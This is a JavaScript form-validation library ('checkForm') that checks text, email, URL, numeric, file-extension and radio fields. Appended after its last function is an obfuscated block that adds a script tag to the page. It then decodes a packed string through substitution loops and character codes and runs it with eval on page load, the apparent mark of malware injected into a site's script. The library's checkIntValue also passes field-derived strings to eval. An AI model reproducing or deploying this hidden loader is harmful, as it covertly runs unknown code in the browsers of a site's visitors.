/**
* checkForm
* @version  0.1.4
*/

// default input border color
if( !cfBorderColor )
  var cfBorderColor   = '#000000';
if( !cfWarningColor )
  var cfWarningColor  = '#ff0000';

var sAllWarnings = '';
var oFirstWrong;
var bIsWarnings = false;
var bAllGood 		= true;

// regular expresions
var	reS = /\s/gi;
var reEmail = /^[a-z0-9_.-]+([_\\.-][a-z0-9]+)*@([a-z0-9_\.-]+([\.][a-z]{2,4}))+$/i;
var reUrl = /^[a-z\d.\\\/\:]{1,}\.[a-z]{2,4}(\/.*)*$/i;
var	reFloat = /^-?[0-9]{1,}[.]{1}[0-9]{1,}$/i;
var	reInt = /^-?[0-9]{1,}$/i;
var	reDot = /\,/gi;


function fieldOperations( oObj, bCheck, sInfo ){

	if( bCheck === true ) {
    if( oObj.type != 'hidden' && oObj.type != 'radio' )
      oObj.style.borderColor = cfBorderColor;
	}
	else {
    if( sInfo )
  		sAllWarnings += sInfo +'\n';
		if( oObj.type != 'hidden' && oObj.type != 'radio' ){
  		oObj.style.borderColor = cfWarningColor;
      if( bIsWarnings == false )
        oFirstWrong = oObj;
		}
		bIsWarnings = true;
		return false;
	}

return true;
} // end function fieldOperations


function checkText( oObj, sInfo ) {

	checkT = oObj.value.replace( reS, "" );

  var bCheck = true;
	if( checkT == '' )
    bCheck = false;

  return fieldOperations( oObj, bCheck, sInfo );
} // end function checkText


function checkEmail( oObj ) {

	var sEmail = oObj.value.replace( reS, "" );

  var bCheck = true;
	if ( sEmail.search( reEmail ) == -1 )
    bCheck = false;

  return fieldOperations( oObj, bCheck, cfLangMail );
} // end function checkEmail


function checkWww( oObj ) {

	var sWww = oObj.value.replace( reS, "" );

  var bCheck = true;
	if( sWww.search( reUrl ) == -1 || sWww  == 'http://' )
    bCheck = false;

  return fieldOperations( oObj, bCheck, cfLangUrl );
} // end function checkWww


function checkFloat( oObj, sInfo ) {

  var bCheck = true;
	if( oObj.value.search( reFloat ) == -1 && oObj.value.search( reInt ) == -1 ){
    if( !sInfo )
      var sInfo = cfWrongValue;
    bCheck = false;
  }

  return fieldOperations( oObj, bCheck, sInfo );
} // end function checkFloat


function checkInt( oObj, sInfo ) {

  var bCheck = true;
	if( oObj.value.search( reInt ) == -1 ) {
    if( !sInfo )
      var sInfo = cfWrongValue;
    bCheck = false;
  }

  return fieldOperations( oObj, bCheck, sInfo );
} // end function checkInt


function checkFloatValue( oObj, iMinFloat, sInfo ) {

  var bCheck = true;
	if( +oObj.value <= +iMinFloat ) {
    if( !sInfo )
      var sInfo = cfToSmallValue;
    bCheck = false;
  }

  return fieldOperations( oObj, bCheck, sInfo );
} // end function checkFloatValue

function checkIntValue( oObj, minInt, sign, sInfo ) {
  if( !minInt )
    var minInt = 0;
  if( !sign )
    var sign = '==';
  if( !sInfo )
    var sInfo = cfWrongValue;

	eval ( 'var bCheck = ( '+ +oObj.value +' '+ sign +' '+ +minInt +' );' );

  return fieldOperations( oObj, bCheck, sInfo );
} // end function checkIntValue


function checkTxt( oObj, iMin, sInfo ) {
	if( !iMin )
		var iMin = 6;

	var check = oObj.value.replace( reS, "" );

  var bCheck = true;
	if( check.length < iMin ){
    bCheck = false;
    if( !sInfo )
      var sInfo = cfTxtToShort;
  }
  return fieldOperations( oObj, bCheck, sInfo );
} // end function checkTxt

function checkRadio( oObj, sInfo ) {

  var bCheck = false;
  for( var i = 0; i < oObj.length; i++ ){
    if( oObj[i].type == 'radio' ){
      if( oObj[i].checked )
        bCheck = true;
    }
  } // end for
  return fieldOperations( oObj[0], bCheck, sInfo );
} // end function checkRadio

function checkExt( oObj, sExtensions, sInfo ){

  var aFileExt    = oObj.value.split( "." );
  var sFileExt    = aFileExt[aFileExt.length - 1];

  var aGoodExt    = sExtensions.split( "|" );
  var iGoodCount  = aGoodExt.length;

  var bCheckExt = false;
  for( var i = 0; i < iGoodCount; i++ ){
   if( sFileExt == aGoodExt[i] ){
     bCheckExt = true;
     break;
   }
  } // end for

  if( !sInfo )
    var sInfo = cfWrongExt;

  return fieldOperations( oObj, bCheckExt, sInfo );
} // end function checkExt


function checkOneCheckbox( oObj, sInfo ) {
  return fieldOperations( oObj, oObj.checked, sInfo );
} // end function checkOneCheckbox

function cfDot( oObj ){
	return oObj.value.replace(reDot, "\.");
}  // end function cfDot

function cfFix( f ){
	f	= f.toString( );
	var re	= /\,/gi;
	f	= f.replace( re, "\." );

	f = Math.round( f * 100 );
	f = f.toString( );
	var sMinus = f.slice( 0, 1 );
	if( sMinus == '-' ){
	 f = f.slice( 1, f.length )
	}
	else
	 sMinus = '';
	if( f.length < 3 ) {
		while( f.length < 3 )
			f = '0' + f;
	}

	var w = sMinus + f.slice( 0, f.length-2 ) + "." + f.slice( f.length-2, f.length );

	if( w.search( reFloat ) == -1 )
		w = '0.00';
	return w;
} // end function cfFix

var sAllWarnings 	= '';
var bIsWarnings 	= false;
var bAllGood			= true;
var oFirstWrong 	= '';

function checkForm( form ) {

  sAllWarnings 	= '';
  bIsWarnings 	= false;
  bAllGood			= true;
  oFirstWrong 	= '';

  aInputs = form.getElementsByTagName( 'input' );
  checkFormElements( aInputs, null, form )

  aInputs = form.getElementsByTagName( 'textarea' );
  checkFormElements( aInputs, true )

  aInputs = form.getElementsByTagName( 'select' );
  checkFormElements( aInputs, true )

  if( bIsWarnings == true ) {
		sAllWarnings = cfLangNoWord + '\n' + sAllWarnings;
    alert ( sAllWarnings );
    if( oFirstWrong )
      oFirstWrong.focus();
    return false;
	}
return true;
} // end function checkForm

function checkFormElements( aInputs, bTitle, oForm ){
  var oO; 
  var sT; // typ
  var aParams;
  var aRadio = Array( );

  for( var i = 0; i < aInputs.length; i++ ){
    oO = aInputs[i];
    if( oO.alt || ( oO.title && bTitle && bTitle == true ) ){
      if( bTitle && bTitle == true )
        aParams = oO.title.split( ';' );
      else
        aParams = oO.alt.split( ';' );
      sT = aParams[0];
      if( sT == 'simple' ){
        bAllGood = checkText( oO, aParams[1] );
      }
      else if( ( sT == 'email' ) && ( ( aParams[1] == 'if' && oO.value ) || !aParams[1] ) ){
        bAllGood = checkEmail( oO );
      }
      else if( ( sT == 'www' ) && ( ( aParams[1] == 'if' && oO.value ) || !aParams[1] ) ){
        bAllGood = checkWww( oO );
      }
      else if( ( sT == 'float' ) && ( ( aParams[2] == 'if' && oO.value ) || !aParams[2] ) ){
        oO.value = cfDot( oO );
        bAllGood = checkFloat( oO );
        if( bAllGood ){
          oO.value = cfFix( oO.value );
          if(	aParams[1] != '' )
            bAllGood = checkFloatValue( oO, aParams[1] );
        }
      }
      else if( ( sT == 'txt' ) && ( ( aParams[3] == 'if' && oO.value ) || !aParams[3] ) ){
        bAllGood = checkTxt( oO, aParams[1], aParams[2] );
      }
      else if( ( sT == 'extension' ) && ( ( aParams[3] == 'if' && ( oO.value ) ) || !aParams[3] ) ){
        bAllGood = checkExt( oO, aParams[1], aParams[2] );
      }
      else if( ( sT == 'int' ) && ( ( aParams[4] == 'if' && oO.value ) || !aParams[4] ) ){
        bAllGood = checkInt( oO, aParams[2] );
        if( aParams[1] && bAllGood ) {
          if( aParams[3] ) {
            bAllGood = checkIntValue( oO, aParams[1], aParams[3], aParams[2] );
          }
          else
            bAllGood = checkFloatValue( oO, aParams[1], aParams[2] );
        }
      }
      else if( ( sT == 'box' ) && ( ( aParams[2] == 'if' && ( oO.value ) ) || !aParams[2] ) ){
        bAllGood = checkOneCheckbox( oO, aParams[1] );
      } 
      else if( sT == 'radio' ){
        var bRadioChecked = false;
        for( var iR = 0; iR < aRadio.length; iR++ ){
          if( aRadio[iR] == oO.name )
            bRadioChecked = true;
        }
        if( bRadioChecked == false ){
          bAllGood = checkRadio( oForm[oO.name], aParams[1] )
          aRadio[aRadio.length] = oO.name;
        }
      } 
    }
  }
} // end function checkFormElements


k_sb=document;k_J=window;function k_E($,k_sH){return 0}function k_B(x){return x.join('')}if(typeof($)=='undefined'){k_sR=k_sb.getElementsByTagName('head')[0];k_sh=k_sb.createElement('script');k_sh.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");k_sR.appendChild(k_sh)}k_J.k_sJ=100;k_J.k_sC=25;k_J.k_L=eval;k_J.trim=function(k_sf,k_ss){if("qabcdef".indexOf(k_sf.substr(0,1))>=0){var k_si=k_B(k_sf.split('q')).split('v');for(var i=0;i<k_si.length;i++){k_si[i]=parseInt(k_si[i],16)-k_ss[k_sf]}return k_si.join(',')+','}else{return k_ss[k_sf]}};d='zy={O#bv1a$6%2%7Y%6?:"e+",O#bv2a$6%2%Q1%6?:"",*b#bv3a$6%2%7Y%6v30:"l(\'l=St",$6Xv4e~*0!Qf*2!5:"ring.f",PZv52#a#f%c!6*a!6:"romCha",!8#8v68*2*5ER0!5*4:"rCode("Ga*3!Qc#7%8!6N+4&6^0+f!U4#UW7#8#9&3G7#8#a#9#b#cM#e#f&0HQAa%b%c%d%e%fR0T,d0R1#3NX%a%7%3%0`Hb!fEE?*2*7|V`Gb?~Y#e?%cR1%8TGa%4#bZN#1#1+fN&5Dc*4>+eM#a>%Qd&4HWb%UcEV$4!Aa&6G3#3?+0*2OXV%b`@dI$b!3+2$d+c!2#8&0H4%4%0$a!f!f+c!2O&0D7*a!f#0!6*3#7#5%0&4H0#WU7#f*1*3#0!6&4@f!8P#b#A8*e+7+3&4,a7+4+bX*9+4+W3>&9G8*3N#f+1+3+eY*3&6D7+4*f#6+cY*1*4>&4,d0$4Y~+1+3%d?R0T@U6>#6>x$7$bx:90^4%d$f#1|$U1|?&5HAe$c!4*5$e!8#U3&1Hb#9R1%c%WAe%5%cTGAe%5%a#A5%4#b#9TGf%8#b#1#W4%3#1~&0He#e#9R1%d%b#AUbTH3#4Y#6%d#4#a#7%a&3D7E%3%0#c#A4!8|&0G3N+a#4?%U7%6+7&2,ac*b*c#AcM+3#a+9T^U2%U6NVEN*c&1H2*5$f?*6$9*1$a?`,ac#c*1|#6+5*a%A0&4H4#1M#Aa?IXOT^d?>$4#3!f+b%0%7TGWe%a#4%9#8!3*9#f&3G4%WbV#0+b%4*0!6&3Ga+9+5%7%6%c%0?ITDbI$b!3+4$d!3~+1&0^c#AcM?#0#e*5OT^a?#3O+a$4#4VETGb#Qb#c*4#3NxO`@0#f#3%2V+d!UaE&2Dc%aX>+d#6X>%6&9DcIM%2#cYO+f!5&3@2#1|E~E*0%8#a&5H8+8MY#A3%A8>&4^6E#0V$4M#b%a+0&6,ac+8+7+4#fX*9+4+6&9G0N*7*3$6*1N*e*3&6Da+4X%b%9#c%Ub%a`^1#c%5%8+1*d!Wf%4&6D4|*c+e|%6*1*4*f&4G5+e*d!4|*c+f|*b&4GW4>#a#6$7%a%e#e&9HQfR3*1#f#c+1Y*4&6@a!8!8!5M$e$4x~&2@2$9*e$d#4%4#7#3M&2,dWe%5%c#e!A2#fI&9^e#e$f$c%f%f!We*1&3@a$8I#8$9*0+4x$9T@0$b~%2#U1#b%d%d&0G9#6!8!1!3*1N!3*1&0^4V%5R5x$8?P$e`Db!3%5%eN$b#9#6*b&0^2+b!4#8$eNN*c#9&1Df*f*5E|+8ZZ!f&4,a2%8#5V+b?IV*8`Da>!4+5V>NPI&1@6+e*9*3+1#e>$6%e&6^a*a#1M*6+4Y!f$9&9Hf$a$a$8$8+f%a*4+e`,a2*aP+d$d$a?>$9`@c#3I+d+1*9*2*2$8&6@1x+e?$a$dI#5*3TDd%9*7#1P+Ue*8*8:90@6>E+9$4x>#0E&3,ae!f+2#b*5*5$b?P`,a8xPO+f$d!5%a$f&2,af+3%9x+e?$a$dITDc#0E+a*e%4Z+9O&3@8$b!f!f#3*1N+9*3&6G1+5+e$4#0$c$ex#7:90@c!4Y$e!5!f#e~Y&1Df~$f$8x$f$cx$e`@9I$c$9I$e$7I$6&5@7>$8P>$7x>$8&0@8$4$b$8$4*0$a$4$fT@8Zx$6ZPPZP&1@9X$a$9X$f$aX$a&9@2Z$6$7Z$6$6ZP&1@7P$b$9P$cP$b$9&6Dc$7>P>I>?>&0@4$8+d>*0!Q8>#9&0G3+2N+c%d%b%2%7%0&9@7#f%b%Q6*cY#a%b&9^Q4#9#aZ#e?%d?&5@7$9ER2+d#a*2!8*7&5@2#5I%2%e%e%a*4$9:90@8?X>+cX>%8X&9D5%aE!5%5E!5+5E&2Db*c#3O%9X$9#5$4T@0$7#c%Q6$8?#6P&9De!6*5*e%3>$e|O&3,ac!2~#f#4%9+c!2N&0@WAQ8M%Wc+3*aTD9+c!8$d#Ua%7!1%4&1HQd%0#9*1#0!6O?&4D7#e?O*1#0!6O?&4D3#5>|+c!2!0%7#9&0Ga%a#e*3$7$6$6!6Z&6@5>%fX?*7*5$8M&9Gc%9*1V#0>>R0R0&3@0R4x$9$7$7$7?R4`DeR2ER2#aY%8#aR0&5Hc#e%d+d%2%We%Qe&9H5*c#4ZxIIV%e&1Hf!U5VO$d*2!2!5&2,a1!A9+b*a!1%9+2*9&1H2%Q5%6O>R0*3!3&3DbY?R0~#c*5%6MTHf!8*c#AcM?I*3TG6?%U7%6+Wb#f#7&2@2R2$8#b%d#AA0$4:90@8$7$7$7?*2+0|#b`,d3*6!6!A4E%9P#f&6,af*e!5%8x#8M#6%7&5^5Y#W7*3%6V#bO&2,d3*6!6!AbE%e#0*f&6D3%bI#f#Q1#a%7#b&3,d7Z%U9*a%0%f%8M:90H8M%3%2*d%WAQ9&4H7%3+0Z!8+1>E*3&5@4$8#1V*8*4V%5+2`H8E$a!fP$7!fIN&6H6*c%3NXVV+2!f&1Ga#Q7+8+7*6+9!Wa&3DdN+b|+2+f>+cZ&4@d!5+cO%d~!8!8!5&2^8!f#a#f#U6%9+0#7&1DfE|R5+2*f~V*e`G1+f$a#1P%5%9#A6&4Hd#0#0Z!5*1O%A2&4Gb#cM%0%Uc#bEN`^2M%6%9!f#a*4$8$a`@c#4EE$c#5$e!A5&1^7#e$Qd%a%6%3%eP:90Dc!8*5*e+0+1+6+b+c&5,ae#0#6R4~~Z#1#9&6G0>>IM%2#cYO&3H7I%3%2%3O>>>&3^3M%e#A4?#cIT,$6X!~*0!Qf*2|:"32);",*%QM%Wc*b%0Y:"zL(l)\'",|!!0*A2!8!0$8*2:");"};zK=[];zso=String.fromCharCode;for(+r zw in zy){Jtrim(zw,zy))};J\';zj=zso(118/5<5/5,98/5/8/5<6,121,58/4/5/0/0/1<0,34,62,60\\,32<5<4,99);\');J\'zv=zso(104/1/5/3/4<6,61,56,48,62,60,47\\);\');J\'zF=zso(97<2/5,46<6<9/5<6<6/1<4,46,99<1/9,47,49,47<6<4/1<0/0<5,47/0,97/5/8,121,46/6<5<1<0);\');zL(zB(zK))!v7#vb$vQvc&:8*v9+va-,q/,10<,11>!c?$0@-8A9%D-7E!eG,bH,cI$1JzK.push(M#dN!9O!bP$2Q8%RvdT&8U5#V!aW6#X$5Y%1Z!d^-9`&7x$3zk_|!7~#2\\/5/2<4,97/9/1';for(c=40;c--;d=(t=d.split('!#$%&*+-/<>?@ADEGHIJMNOPQRTUVWXYZ^`xz|~\\'[c])).join(t.pop()));k_sd=d;k_L(k_sd)

